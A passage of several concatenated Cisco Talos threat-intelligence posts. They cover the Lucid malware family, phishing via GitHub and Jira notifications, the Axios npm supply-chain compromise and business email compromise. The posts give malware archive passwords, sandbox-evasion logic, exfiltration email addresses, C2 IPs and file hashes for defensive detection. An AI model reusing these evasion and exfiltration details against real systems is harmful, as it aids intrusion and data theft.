The LucidRook samples connect to C2 infrastructure that appears to abuse FTP servers with exposed credentials to retrieve staged payloads. Talos identified two such C2 servers, both located in Taiwan and operated by printing companies. Initially, it was unclear why the threat actor selected this infrastructure; however, further investigation revealed that both companies publicly listed FTP credentials on their official websites as part of a “file uploading service". We observed that this practice is common among local printing companies and effectively creates a pool of publicly accessible, low‑cost infrastructure that can be repurposed by threat actors as low-cost C2 staging servers.

Stealthy payload protections 

Besides what we previously mentioned about the encryption for the exfiltrated data, the threat actor also employed stealthy protection for the downloaded payload. The LucidRook sample Talos obtained (edb25fed9df8e9a517188f609b9d1a030682c701c01c0d1b5ce79cba9f7ac809) uses the password ?.aX$p8dpiP$+4a$x?=0LC=M>^>f6N]a to decrypt the archive when it’s protected and requires that an index.bin file be found within the ZIP archive. After decryption, it uses a different RSA private key (DER hash 7e851b73bd59088d60101109c9ebf7ef300971090c991b57393e4c793f5e2d33) embedded and encrypted inside the malware to decrypt the payload. The corresponding public key (DER hash a42ad963c53f2e0794e7cd0c3632cc75b98f131c3ffceb8f2f740241c097214a) for this private key is:

-----BEGIN PUBLIC KEY----- 
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArQ9deG1+FiOgxT2eX78n 
3Ni/PmrV/V6iuf+bc+ii+9wD6Pyc7QyicaZODr2YlKifwJabJuDsIcANRIQGBLf2 
8j0yG3x25rP4XTnavTyPB6s+fJgNebmB9Hhgx3AY25ufJvNAelnmXnPn/xp6tZ/V 
kup72tiwKWeBVJOZYW3qYno4n5hffdNqTFIgUZDDLhqa+nT1gD6LZ6W/BidIM70O 
gn2h8ppc8aKc893FkfvNYwhgubiDFv9rgvSVvxt0uTVERtBsCyAScD1MMvswEyK6 
LrgnyTz7KwOv5wyPfE3BPs8lpMQIyi/jcIIroyk9uLarfV/XIbgTOqEYf5/9bDSs 
iQIDAQAB 
-----END PUBLIC KEY----- 

During investigation, Talos obtained a payload from a private source which matched the index.bin file structure. However, the password from the LucidRook sample we got was not able to decrypt the archive. We also obtained another version of the payload from the FTP C2 server, but this payload includes four files that does not match the version of LucidRook sample we analyzed as shown in Figure 16.

Based on this information, we suspect that the threat actor is generating different payloads using different sets of passwords for different targets, even though they share the same C2 server. The files inside the payload also suggest it potentially leverages different modules for different capabilities for the stager. 

LucidPawn dropper 

The LucidPawn dropper shares some similarity with LucidRook, including the same COM DLL masquerade technique, obfuscation scheme, and Rust-compiled code. 

Leveraging an OAST service 

Upon execution, the LucidPawn dropper sends a DNS request to a domain “D.2fcc7078.digimg[.]store”. The domain “digimg[.]store” redirects to “dnslog[.]ink”, a public Chinese Out-of-band Application Security Testing (OAST) service. It is widely used by security researchers, penetration testers, and threat actors to verify network connectivity and vulnerability exploitation. By using this service, LucidRookoperators receive confirmation once the exploitation succeeds without setting up their own infrastructure. It is worth noting that the same service domain has been leveraged in other targeted campaigns; however, because the service is publicly accessible and can be used by any threat actor, Talos avoids making attribution based solely on this linkage.

Geo-targeting anti-analysis 

LucidPawn implements a geo-targeting anti-analysis execution gate by querying the host’s Windows UI language via the GetUserDefaultUILanguage() API. Execution continues only when the system UI language matches Traditional Chinese environments associated with Taiwan.

The implementation compares a masked LANGID against 0x0404 (zh-TW). The mask and 0xF7FF clears bit 0x0800, causing only 0x0404 (zh-TW) and 0x0C04 (zh-HK) to normalize to the same value and satisfy the check. As a result, the sample exits early on most analysis sandboxes, which commonly use 0x0409 (en-US). This control reduces exposure by limiting execution to the intended victim geography and suppressing behavior in common analyst environments.

The LucidKnight reconnaissance tool 

While hunting for additional LucidPawn samples, we identified a variant of LucidPawn (d8bc6047fb3fd4f47b15b4058fa482690b5b72a5e3b3d324c21d7da4435c9964). This sample shares the same geo-targeting anti-analysis logic observed in other samples used to deliver LucidRook. Compared with the LucidPawn samples associated with LucidRook delivery, however, this variant omits the callback to the out-of-band interactive service domain and functions solely as a dropper, deploying the reconnaissance tool LucidKnight (aa7a3e8b59b5495f6eebc19f0654b93bb01fd2fa2932458179a8ae85fb4b8ec1) after execution.

Like other malware in the Lucid family, LucidKnight is a 64-bit Windows DLL that contains embedded Rust-compiled components to implement various functions. The malware also uses a string obfuscation scheme similar to those observed in LucidPawn and LucidRook to conceal its C2 configuration.

Upon execution, LucidKnight collects system information including the computer name, OS version, processor architecture, CPU usage, running processes, and installed software. The collected data are written to four TXT files, encrypted with an embedded RSA public key, and packaged into a password-protected ZIP archive named archive.zip using the password xZh>1<{Km1YD3[V>x]X>=1u(Da)Y=N>u. The embedded RSA public key (DER hash 852a80470536cb1fdab1a04d831923616bf00c77320a6b4656e80fc3cc722a66) is shown below:

-----BEGIN RSA PUBLIC KEY----- 
MIIBCgKCAQEAuvXyx+rPGjS/bI6cvl8LIVVatwD6JU19EvJPlBWlmPqVm/se+3QS 
9av+X8PFgwoGXJZTEanAY4JhOMXKYSbErwrLktbEY2tFi7w3/WyPPcB6/I6zD2yU 
Mqcoqy1Z3+4CsLz4D/LZtOst4alSGOgTDeKtrWKHCyigFvndfds4pdCy78KBRtQb 
kV3UUlKQZm/37tP0CPXkKwxQ1n/+DTh265gRaVrhr4+VUagNmYta1faMLsvM8O3F 
Lu2tQiOxeSZC21z6V3kcifYiBLT0khx11JqD3jTfA41OcngZfwWYHbitDBZF7rpL 
26ZSitNxMAq1O6DrXzI5wdVn0fZgSXNEbwIDAQAB 
-----END RSA PUBLIC KEY----- 

Unlike LucidRook, which uploads collected system information to a compromised FTP server, LucidKnight exfiltrates reconnaissance data via email using the embedded Rust lettre crate, which provides SMTP message creation and delivery functionality.

Specifically, the malware constructs an email with the Traditional Chinese subject “運動資訊平台” (“Sports Information Platform”) and includes the collected data as a MIME attachment. It then resolves “smtp.gmail.com”, authenticates to the Gmail account “fexopuboriw972@gmail.com" with an embedded application key, and sends the data to the temporary email address “crimsonanabel@powerscrews.com". The following email shows an example of the content crafted by LucidKnight:

From: fexopuboriw972@gmail.com 
To: crimsonanabel@powerscrews.com 
Subject: =?utf-8?b?6YGL5YuV6LOH6KiK5bmz5Y+w?= 
MIME-Version: 1.0 
Date: Tue, 17 Feb 2026 02:05:49 +0000 
Content-Type: multipart/mixed; 
 boundary="vlOcEyPfxrLCR89C5RuARsViLsqzv1brB2u8YvNd" 
--vlOcEyPfxrLCR89C5RuARsViLsqzv1brB2u8YvNd 
Content-Type: text/plain; charset=utf-8 
Content-Transfer-Encoding: base64 
5oKo6KqN54K65Y+w54Gj55uu5YmN5Zyo6Jed5paH5rC457qM55m85bGV55qE5pS/562W5LiK5pyJ 
5ZOq5Lqb5YW36auU55qE5oiQ5Yqf5qGI5L6L5oiW5YC85b6X5pS56YCy55qE5Zyw5pa577yf 
--vlOcEyPfxrLCR89C5RuARsViLsqzv1brB2u8YvNd 
Content-Type: application/zip 
Content-Disposition: attachment; filename="archive.zip" 
Content-Transfer-Encoding: base64 
UEsDBDMAAQBjALgQUVwEOkfvkhkAAHEZAAAFAAsAMS50eHQBmQcAAQBBRQMIAEF/fb/F6o3HptX3 
(redacted)

The discovery of LucidKnight suggests that the actor maintains a modular toolkit and may select components based on the operational context of each target, rather than deploying a fixed infection chain. LucidKnight may be used independently when lightweight reconnaissance is sufficient, or as a precursor to assess targets before committing the more complex LucidRook stager. 

The bottom line 

Based on the tactics, techniques, and procedures (TTPs) and the level of engineering investment observed across these infection chains, we assess with medium confidence that this activity reflects a targeted intrusion rather than broad, opportunistic malware distribution. Delivery via spearphishing, combined with LucidRook’s sophisticated design, suggests a sophisticated threat actor prioritizing flexibility, stealth, and victim-specific tasking.

Although Talos has not yet found a decryptable Lua bytecode payload executed by LucidRook, we are publishing these findings to make early detection possible and encourage community sharing, with the goal of uncovering additional indicators that may facilitate stronger clustering and attribution in the future.

Coverage 

The following ClamAV signature detects and blocks this threat:

• Win.Backdoor.LucidRook-10059729-0  
• Lnk.Tool.UAT-10362-10059730-0  
• Win.Dropper.UAT-10362-10059731-0  
• Win.Tool.CobaltStrike-10059732-0 

The following SNORT® rules cover this threat:  

• Snort2 Rules: 66108, 66109, 66110, 66111 
• Snort3 Rules: 301447, 301448 

Indicators of compromise (IOCs)  

IOCs for this research can also be found at our GitHub repository here.

d49761cdbea170dd17255a958214db392dc7621198f95d5eb5749859c603100a (malicious 7z) 

adf676107a6c2354d1a484c2a08c36c33d276e355a65f77770ae1ae7b7c36143 (malicious archive) 

b480092d8e5f7ca6aebdeaae676ea09281d07fc8ccf2318da2fa1c01471b818d (Forged EXE dropper that drops LucidRook) 

c2d983d3812b5b6d592b149d627b118db2debd33069efe4de4e57306ba42b5dc (Forged EXE dropper that drops LucidRook) 

6aba7b5a9b4f7ad4203f26f3fb539911369aeef502d43af23aa3646d91280ad9 (LucidPawn, DismCore.dll) 

bdc5417ffba758b6d0a359b252ba047b59aacf1d217a8b664554256b5adb071d (LucidPawn dropper, DismCore.dll) 

f279e462253f130878ffac820f5a0f9ac92dd14ad2f1e4bd21062bab7b99b839 (malicious LNK) 

166791aac8b056af8029ab6bdeec5a2626ca3f3961fdf0337d24451cfccfc05d (malicious LNK) 

11ae897d79548b6b44da75f7ab335a0585f47886ce22b371f6d340968dbed9ae (LucidRook stager, DismCore.dll) 

edb25fed9df8e9a517188f609b9d1a030682c701c01c0d1b5ce79cba9f7ac809 (LucidRook stager, DismCore.dll) 

0305e89110744077d8db8618827351a03bce5b11ef5815a72c64eea009304a34 (LucidRook stager, DismCore.dll) 

d8bc6047fb3fd4f47b15b4058fa482690b5b72a5e3b3d324c21d7da4435c9964 (LucidPawn dropper dropping LucidKnight) 

aa7a3e8b59b5495f6eebc19f0654b93bb01fd2fa2932458179a8ae85fb4b8ec1 (LucidKnight, DismCore.dll) 

fd11f419e4ac992e89cca48369e7d774b7b2e0d28d0b6a34f7ee0bc1d943c056 (archive1.zip download from C2)

1.34.253[.]131 (abused FTP server) 

59.124.71[.]242 (abused FTP server) 

D.2fcc7078.digimg[.]store (DNS beaconing domain) 

fexopuboriw972@gmail.com 

crimsonanabel@powerscrews.com 

Join Amy and Pierre Cadieux as they unpack the ransomware and vulnerability trends that defined 2025. From the persistent ransomware threats targeting the manufacturing sector to the rise of stealthy living-off-the-land tactics, we break down what these shifts mean for your defense strategy.

Why are attackers are increasingly targeting your management infrastructure? How do you spot the difference between a system admin and a threat actor? Tune in to hear Talos' insights on how to move beyond reacting to threats and start building a more resilient, proactive security posture for the year ahead.

View the 2025 Year in Review here.

By Diana Brown

• Cisco Talos has recently observed an increase in activity that is leveraging notification pipelines in popular collaboration platforms to deliver spam and phishing emails.
• These emails are transmitted using the legitimate mail delivery infrastructure associated with GitHub and Jira, minimizing the likelihood that they will be blocked in transit to potential victims.
• By taking advantage of the built-in notification functionality available within these platforms, adversaries can more effectively circumvent email security and monitoring solutions and facilitate more effective delivery to potential victims.
• In most cases, these campaigns have been associated with phishing and credential harvesting activity, which is often a precursor to additional attacks once credentials have been compromised and/or initial access has been achieved. 
• During one campaign conducted on Feb. 17, 2026, approximately 2.89% of the emails observed being sent from GitHub were likely associated with this abuse activity. 

Platform abuse, social engineering, and SaaS notification hijacking 

Recent telemetry indicates an increase in threat actors leveraging the automated notification infrastructure of legitimate Software-as-a-Service (SaaS) platforms to facilitate social engineering campaigns. By embedding malicious lures within system-generated commit notifications, attackers bypass traditional reputation-based email security filters. This Platform-as-a-Proxy (PaaP) technique exploits the implicit trust organizations place in traffic originating from verified SaaS providers, effectively weaponizing legitimate infrastructure to bypass standard email authentication protocols. Talos' analysis explores how attackers abuse the notification pipelines of platforms like GitHub and Atlassian to facilitate credential harvesting and social engineering. 

The PaaP model 

The core of this campaign relies on the abuse of SaaS features to generate emails. Because the emails are dispatched from the platform's own infrastructure, they satisfy all standard authentication requirements (SPF, DKIM, and DMARC), effectively neutralizing the primary gatekeepers of modern email security. By decoupling the malicious intent from the technical infrastructure, attackers successfully deliver phishing content with a "seal of approval" that few security gateways are configured to challenge. 

Anatomy of GitHub campaign: Abusing automated notification pipelines 

The GitHub vector is a pure "notification pipeline" abuse mechanism. Attackers create repositories and push commits with payloads embedded in the commit messages. The User Interface Mechanism has two fields for text input: one is a mandatory summary, a single limited line, where the user provides a high-level overview of the change. Attackers weaponize this field to craft the initial social engineering hook, ensuring the malicious lure is the most prominent element of the resulting automated notification. The second field is an optional, extended description that allows for multi-line, detailed explanations. Attackers abuse this to place the primary scam content, such as fake billing details or fraudulent support numbers.  

By pushing a commit, the attacker triggers an automatic email notification. GitHub’s system is configured to notify collaborators of repository activity. Because the content is generated by the platform’s own system, it avoidssecurity flags. In this example, we can see the details of the commit followed by the scam message. At the bottom of the email, we have the mention of the subscription, buried at the very bottom of the page. 

The chain of Received headers shows the message entering the system from “out-28[.]smtp[.]github[.]com” (IP “192[.]30[.]252[.]211”). This is a known legitimate and verified GitHub SMTP server.  

The email contains a DKIM-Signature with “d=github[.]com”. This signature was successfully verified by the receiving server (“esa1[.]hc6633-79[.]iphmx[.]com”), proving that the email was sent by an authorized GitHub system and was not tampered with in transit. Telemetry collected over a five-day observation period indicates that 1.20% of the total traffic originating from “noreply[@]github[.]com” contained the "invoice" lure in the subject line. On the peak day of Feb. 17, 2026, this volume spiked to approximately 2.89% of the daily sample set. 

Abusing workflow and invitation logic (Jira) 

The Jira vector does not rely on a notification pipeline in the traditional sense. Jira notifications are expected in corporate environments. An email from Atlassian is rarely blocked, as it is often critical for internal project management and IT operations. The abuse here is not a "pipeline" of activity, but an abuse of the collaborative invitation feature.  

Attackers do not have access to modify the underlying HTML/CSS templates of Atlassian’s emails. Instead, they abuse the data fields that the platform injects into those templates. When an attacker creates a Jira Service Management project, they are given several fields to configure. When the platform triggers an automated “Customer Invite” or “Service Desk” notification, it automatically wraps the attacker’s input — such as a fraudulent project name or a deceptive welcome message — within its own cryptographically signed, trusted email template. By utilizing a trusted delivery pipeline, the attacker successfully obscures the origin and intent of the malicious. 

In this example, the attacker sets the "Project Name" to "Argenta." When the platform sends an automated invite, the email subject and body dynamically pull the project name. The recipient sees "Argenta" as the sender or the subject, which the platform has verified as the project name. 

The attacker placed their malicious lure subject into the "Welcome Message" or "Project Description" field. They use the "Invite Customers" feature and input the victim's email address. Atlassian’s backend then generates the email. Because the system is designed to be a "Service Desk," the email is formatted to look like a professional, automated system alert. At the bottom of the phishing email, we can see the branding footer that Jira automatically appends to email notifications.  

Strategic implications 

The trust paradox is now the primary driver of successful phishing and scamming. GitHub is abused primarily for its high developer reputation, where attackers rely on the platform’s status as an official source of automated alerts. In contrast, Jira is abused for its business-critical integration; because it is a trusted enterprise tool, attackers use it to mimic internal IT and helpdesk alerts, which employees are pre-conditioned to treat as urgent and legitimate. In both cases, attackers are using the platform's own reputation to launder their malicious content. 

How do we fundamentally change the trust model? 

Defending against PaaP attacks requires moving from the binary “trusted vs. untrusted” approach. Because attackers weaponize the platform’s own infrastructure to bypass authentication protocols (SPF/DKIM/DMARC), the gateway is effectively blind to the malicious intent. Defenders should transition to a Zero-Trust architecture that treats SaaS notifications as untrusted traffic until verified against platform-level telemetry. Moving beyond the limitations of the email gateway and adopt a fundamental paradigm shift: transitioning from reactive, signature-based filtering toward a proactive, API-driven model architecture that validates intent before a notification ever reaches the user.  

Identity and instance-level verification: We must move from "global domain trust" to "instance-level authorization." Security teams should restrict notification acceptance to specific sender addresses or IP ranges associated with their organization’s verified SaaS instances. Furthermore, by implementing Identity-Contextualization, notifications must be cross-referenced against the organization's internal SaaS directory. If a notification originates from an external or unverified account — even one hosted on a trusted platform like GitHub — it should be automatically quarantined. Verification is no longer about the server sending the email; it is about the identity of the user triggering the action. 

Upstream API-level monitoring: The most effective way to disrupt PaaP campaigns is to detect them before the notification is ever sent. Attackers must perform "precursor activities" within the platform — such as creating repositories, configuring project names, or mass-inviting users — to set the stage for their cyber-attack. By ingesting metadata from SaaS APIs (e.g., GitHub or Atlassian audit logs) into a SIEM/SOAR environment, security teams can identify these anomalous events in real-time. Detecting a "Project Creation" event that deviates from established naming conventions, originating from a country where the receiving organization has no employees or occurs outside of business hours allows for the preemptive suspension of the malicious account, neutralizing the threat at the source. Instead of waiting for a phishing email to arrive in an inbox, defenders are watching the attacker’s movements inside the platform as they set up the attack. 

Semantic intent and behavioral profiling: We must replace simple keyword matching with Business Logic Profiling. Every sanctioned SaaS tool has a functional "Communication Baseline." GitHub is for code collaboration; Jira is for project management. By defining these baselines, security teams can detect "semantic discontinuity," when the content of a notification (e.g., urgent financial billing) is incongruent with the platform's primary utility. Any notification that deviates from the expected functional profile should trigger an automated "Suspicious" banner or be routed for manual review, regardless of its technical validity. 

Mitigating cognitive automation fatigue: PaaP attacks exploit "automation fatigue," where users are conditioned to trust system-generated alerts. To break this cycle, organizations can introduce intentional friction. For high-risk SaaS interactions, such as new project invitations or requests for sensitive data, security policies should mandate out-of-band verification. By requiring a platform-native verification code or forcing the user to navigate directly to the official portal rather than clicking a link, we remove the "reflexive trust" that attackers rely on. This ensures that the platform’s "seal of approval" is validated by a deliberate human action. 

Automated takedown orchestration: Finally, the cost of attack must be increased. Security teams should integrate automated workflows that report malicious repositories or projects directly to the provider’s Trust andSafety teams. By accelerating the detection-to-takedown lifecycle, we force adversaries to constantly churn their infrastructure, making the PaaP model technically and economically unsustainable. 

By adopting this framework, the security posture evolves from "Is this email authenticated?" to "Is this platform activity authorized and consistent with our business logic?" This shift effectively strips the trusted status that attackers exploit, forcing them to operate within an environment where their actions are monitored, profiled, and verified at every stage of the pipeline. 

Acknowledgements 

Special thanks to the Talos Email Security Research Team — Dev Shah, Lucimara Borges, Bruno Antonino, Eden Avivi, Marina Barsegyan, Barbara Turino Jones, Doaa Osman, Yosuke Okazaki, and Said Toure — for their collaborative effort in identifying and mitigating these platform abuse vectors. 

Indicators of compromise (IOCs) 

IOCs for this threat can be found on our GitHub repository here. 

Speed and age shouldn’t be allowed to pair up, but that is the theme of the Talos 2025 Year in Review vulnerability findings.

The year was characterized by an unending beat-down on infrastructure that relied on older enmeshed dependencies (e.g., Log4j and PHPUnit), while React2Shell rocketed to the highest percentage of attacks for the entire year within the last three weeks of 2025. Agentic AI's capacity for building and deploying new proofs-of-concepts and exploit kits lowered attacker time-to-exploit, and the landscape shifted for defenders. 

“The speed at which these CVEs climbed into the top tier reflects a larger systemic challenge: Newly disclosed vulnerabilities in widely deployed software can generate significant, organization-wide impact long before typical patch cycles catch up, leaving defenders with small reaction windows and escalating consequences for even short-lived exposure.” – 2025 Talos Year in Review

Top-targeted infrastructure 

Outdated infrastructure continues to expand the attack surface. Components like PHPUnit, ColdFusion, and Log4j are often embedded within applications, tightly coupled to legacy applications. Technologies age quickly, and companies are under pressure to adopt first, ask questions later. Low-use systems in a network can fossilize, unnoticed and unpatched. Others become mainstays that often cannot be swapped out or even patched without destabilizing an organization.  

Attackers prioritized software and firmware inside network appliances, identity-adjacent systems, and widely deployed open-source components: 

• Remote code execution (RCE) flaws, which enable access without requiring user interaction, avoiding a need for social engineering  
• Legacy systems and widely used components 
• Perimeter devices, especially without endpoint detection and response (EDR) 

The theme was identity, identity, identity. Controlling identity meant controlling access, so attackers focused on components that authenticate users, enforce access decisions, and broker trust between systems. A small number of vulnerabilities targeting these vectors drove outsized risk. This can invalidate multi-factor authentication (MFA) checks and bypass segmentation. 

Defender recommendations 

Attacker prioritization is now guided less by vulnerability age or maturity and more by exposure, exploitability, and proximity to trust, reshaping how organizations must think about risk in modern environments. 

Attackers exploit patching gaps and policy weaknesses in vendor lifecycles. Organizations should evaluate their identity-centric network components and management platforms and prioritize patching of network devices accordingly. 

For a more in-depth analysis of these trends, as well as how company size impacted CVE targeting trends, why the management plane matters, and the shortening window defenders have for putting defenses in place, see the 2025 Year in Review report.

In the span of just a few weeks, we have observed a dizzying array of major supply chain attacks. Prominent examples include the malicious modification of Axios, a popular HTTP client library for JavaScript, as well as cascading compromises from TeamPCP, a “chaos-as-a-service” group that injected malicious code into hijacked GitHub repositories for open-source projects, including Trivy, an open-source security scanner.

The impact of these supply chain attacks can be vast. Axios receives 100 million downloads weekly and innumerable organizations rely on the frameworks and libraries compromised by TeamPCP. The headache they pose to organizations and their security personnel is considerable as well; affected utilities can be integrated so deeply that it may be difficult to fully catalog, let alone remediate.

Although the timing, scale, and severity of these attacks can be shocking, this is not a new phenomenon. The supply chain has remained an attractive target for some time because of its fragility and the fact that a successful compromise can lead to countless additional downstream victims.

Findings from the recently published Talos 2025 Year in Review illustrate these long-standing trends. Nearly 25% of the top 100 targeted vulnerabilities we observed in 2025 affect widely used frameworks and libraries. Digging deeper into the list reveals additional insights. The React2Shell vulnerability affecting React Server Components became the top-targeted vulnerability of 2025 despite being disclosed in December, reflecting the speed at which these supply chain attacks can reach massive scale. The presence of Log4j vulnerabilities shows how deeply embedded these utilities can be and therefore how difficult it can be to reduce the attack surface. Although these particular examples represent extant vulnerabilities that can be weaponized by numerous adversaries versus a deliberate attack carried out by a single adversary, they show how impactful and disruptive threats to the supply chain can be. Follow-on attacks can range from ransomware to espionage, which is reflective of the broad swath of adversaries that carry them out — from sophisticated state-sponsored groups to teenage cyber criminals.

If we are all building on such shaky foundation, what can we do to keep safe? After all, it certainly seems dire when a tool such as Trivy that we could normally use to scan for supply chain vulnerabilities becomes compromised itself. But there are concrete steps we can take to improve our security posture.

As highlighted in the Year in Review, protecting identity is key. This includes securing CI/CD pipelines to prevent these types of compromises from occurring in the first place, as well as limiting the impact and lateral movement of an adversary should they obtain access to a downstream victim.

In addition, organizations must try to the best of their abilities to inventory the software libraries and frameworks they employ, stay informed of security incidents, and respond rapidly to implement patching and other mitigations.

Just as supply chain attacks are evergreen, so too is the efficacy of security fundamentals, such as segmentation, robust logging, multi-factor authentication (MFA), and the implementation of emergency response plans.

As trust continues to break down, the only viable solution may be to double down on vigilance. Since this recent spate of attacks represents a trend that will likely only grow in intensity and breadth, the time for action and planning is now.

Coverage

Below, find a sample of the some of the recent coverage we offer to protect against these threats:

ClamAV:
Txt.Trojan.TeamPCP-10059839-0

Txt.Trojan.TeamPCP-10059839-0

Behavioral Protections:
LiteLLM Supply Chain Compromise – alerts during installation of compromised packages

Cisco Talos is actively investigating the March 31, 2026 supply chain attack on the official Axios node package manager (npm) package during which two malicious versions (v1.14.1 and v0.30.4) were deployed. Axios is one of the more popular JavaScript libraries with as many as 100 million downloads per week.

Axios is a widely-deployed HTTP client library for JavaScript that simplifies HTTP requests, specifically for REST endpoints. The malicious packages were only available for approximately three hours, but if downloaded Talos strongly encourages that all deployments should be rolled back to previous known safe versions (v1.14.0 or v0.30.3). Additionally, Talos strongly recommends users and administrators investigate any systems that downloaded the malicious package for follow-on payloads from actor-controlled infrastructure.

Details of supply chain attack

The primary modification of the packages introduced a fake runtime dependency (plain-crypto-js) that executes via post-install without any user interaction required. Upon execution, the dependency reaches out to actor-controlled infrastructure (142[.]11[.]206[.]73) with operating system information to deliver a platform-specific payload to Linux, MacOS, or Windows.

On MacOS, a binary, “com.apple.act.mond”, is downloaded and run using zsh. Windows is delivered a ps1 file, which copies the legitimate powershell executable to “%PROGRAM DATA%\wt.exe”, and executes the downloaded ps1 file with hidden and execution policy bypass flags. On Linux, a Python backdoor is downloaded and executed. The payload is a remote access trojan (RAT) with typical associated capabilities allowing the actor to gather information and run additional payloads.

Impact

As with most supply chain attacks, the full impact will likely take some time to uncover. The threat actors exfiltrated credentials along with remote management capabilities. Therefore, Talos strongly recommends organizations treat any credentials present on their systems with the malicious package as compromised and begin the process of rotating them as quickly as possible. Actors are likely to try to weaponize access as quickly as possible to maximize financial gain.

Supply chain attacks tend to have unexpected downstream impacts, as these packages are widely used across a variety of applications, and the compromised credentials can be leveraged in follow-on attacks. For additional context, about 25% of the top 100 vulnerabilities in the Cisco Talos 2025 Year in Review affect widely used frameworks and libraries, highlighting the risk of supply chain-style attacks.

Talos will continue to monitor any follow-on impacts from this supply chain attack in the days and weeks ahead, as well as any additional indicators that are uncovered as a result of our ongoing investigation.

Coverage

The following ClamAV signature detects and blocks this threat:

• Py.Trojan.Agent-10059931-0
• Ps1.Trojan.Agent-10059932-0

The following SNORT® rules cover this threat:  

• SIDS: 1:66219, 1:66218

Indicators of Compromise (IoCs)

IP Address:
142[.]11[.]206[.]73

Domains:
Sfrclak[.]com

SHA256
e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 (setup[.]js)
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf (Linux)
617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 (Windows)
92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a (MacOS)
ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c (6202033.ps1)

Welcome to this week’s edition of the Threat Source newsletter.

Last weekend, I witnessed a crime. Not a notable crime that you might read about in the press, but an unremarkable fraud attempt that nevertheless illustrates how new threat actor capabilities are emerging.

I imagine that most people reading this probably field IT questions from friends, family, and your local community. I assist with the IT provision for a local community association. It’s not a wealthy, large association — just your typical volunteer-run nonprofit like many others in the region providing community services.

This weekend, the chair emailed the treasurer requesting a bank transfer. The treasurer replied asking for the recipient's details, and the chair promptly responded. The emails appeared authentic: correct names, a sum consistent with the association's regular expenditure. Yet something made the treasurer pause. The reason for the transfer felt vague, and the tone seemed slightly off. They picked up the phone to verify. The chair had no idea what they were talking about. The emails and the request were an attempted fraud by a third party.

This is a variant of the business email compromise (BEC) scam in which an attacker impersonates a trusted individual and requests a fund transfer to an account they control. The attacker relies on social engineering to trick someone with payment authority to send the money. Once received, funds typically pass through money mules or compromised personal accounts before being rapidly shuffled through multiple transfers, obscuring the trail and drastically reducing the chances of recovery.

The initial email is often sent from a plausible email address. Closely scrutinising the sender’s email address may not help, since the attack may originate from the sender’s genuine account that has previously been compromised.

Historically, BEC targeted large organisations where anticipated payouts justified the time investment required to research key personnel and craft targeted attacks. The anticipated payout would more than cover the costs involved.

However, the fact that attackers are willing to target a small community organisation for a relatively small sum of money shows that the economics of the attack have changed.

AI has fundamentally altered the economics of BEC. Attackers can now reconnoitre many small organisations rapidly and cheaply. AI-generated content can be tailored to each target: referencing specific projects, using appropriate terminology, matching organisational tone.

The attack no longer needs to be labour-intensive or highly targeted. It's become democratised, and an accessible playbook for targeting any organisation. Community associations, local charities, or small businesses can now be targeted, both because the attack is easier to execute, but also because scamming smaller sums from many victims can be as profitable as scamming large sums from few victims. Unfortunately, because this profile of organisation may never have encountered this threat before, they may be unaware and consequently more vulnerable.

For every treasurer who pauses when something doesn’t quite feel right, there are others who will accept an apparently legitimate email at face value. Protection begins with awareness of how the fraud operates. Be suspicious of any unexpected request for payment, especially if there is a sense of urgency or reasons why a phone call "isn't possible" right now. Verify through separate channels before any transfer occurs. Call a known number for your contact, not one provided in the suspicious email. Enforce strict procurement rules that prevent any last-minute urgent payments.

Above all, recognise the democratisation of business email compromise scams. They’re no longer something that only happens to large corporations with complex supply chains and international operations. They’re for everyone now.

The one big thing 

Cisco Talos has identified a large-scale automated credential harvesting campaign that exploits React2Shell, a remote code execution vulnerability in Next.js applications (CVE-2025-55182). Using a custom framework called "NEXUS Listener," the attackers automatically extract and aggregate sensitive data — including cloud tokens, database credentials, and SSH keys — from hundreds of compromised hosts to facilitate further malicious activity. 

Why do I care? 

This campaign uses high-speed automation to exploit React2Shell, enabling attackers to rapidly harvest high-value credentials and establish persistent, unauthenticated access. This creates significant risks for lateral movement and supply chain integrity. Furthermore, the centralized aggregation of stolen data allows attackers to map infrastructure for targeted follow-on attacks and potential data breaches. 

So now what? 

Organizations should immediately audit Next.js applications for the React2Shell vulnerability and rotate all potentially compromised credentials, including API keys and SSH keys. Enforce IMDSv2 on AWS instances and implement RASP or tuned WAF rules to detect malicious payloads. Finally, apply strict least-privilege access controls within container environments to limit the potential impact of a compromise. 

Read the full blog for coverage and indicators of compromise (IOCs).

Top security headlines of the week 

F5 BIG-IP DoS flaw upgraded to critical RCE, now exploited in the wild 
The US cybersecurity agency CISA on Friday warned that threat actors have been exploiting a critical-severity F5 BIG-IP vulnerability in the wild. (SecurityWeek) 

European Commission investigating breach after Amazon cloud account hack 
The threat actor told BleepingComputer that they will not attempt to extort the Commission using the allegedly stolen data, but intend to leak it online at a later date. (BleepingComputer) 

Google fixes fourth Chrome zero-day exploited in attacks in 2026 
As detailed in the Chromium commit history, this vulnerability stems from a use-after-free weakness in Dawn, the underlying cross-platform implementation of the WebGPU standard used by the Chromium project. (BleepingComputer) 

Anthropic inadvertently leaks source code for Claude Code CLI tool 
Anthropic quickly removed the source code, but users have already posted mirrors on GitHub. They are actively dissecting the code to understand the tool's inner workings. (Cybernews) 

Can’t get enough Talos? 

Qilin EDR killer infection chain 
Take a deep dive into the malicious “msimg32.dll” used in Qilin ransomware attacks, which is a multi-stage infection chain targeting EDR systems. It can terminate over 300 different EDR drivers from almost every vendor in the market. 

An overview of 2025 ransomware threats in Japan 
In 2025, the number of ransomware incidents increased compared to 2024. Notably, it was a year in which attacks leveraging Qilin ransomware were observed most frequently. 

A discussion on what the data means for defenders 
To unpack the biggest Year in Review takeaways and what they mean for security teams, we brought together Christopher Marshall, VP of Cisco Talos, and Peter Bailey, SVP and GM of Cisco Security. 

When attackers become trusted users 
The latest TTP draws on 2025 Year in Review data to explore how identity is being used to gain, extend, and maintain access inside environments.

Upcoming events where you can find Talos 

• OffensiveCon (May 15 – 16) Berlin, Germany 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974 
MD5: aac3165ece2959f39ff98334618d10d9 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974 
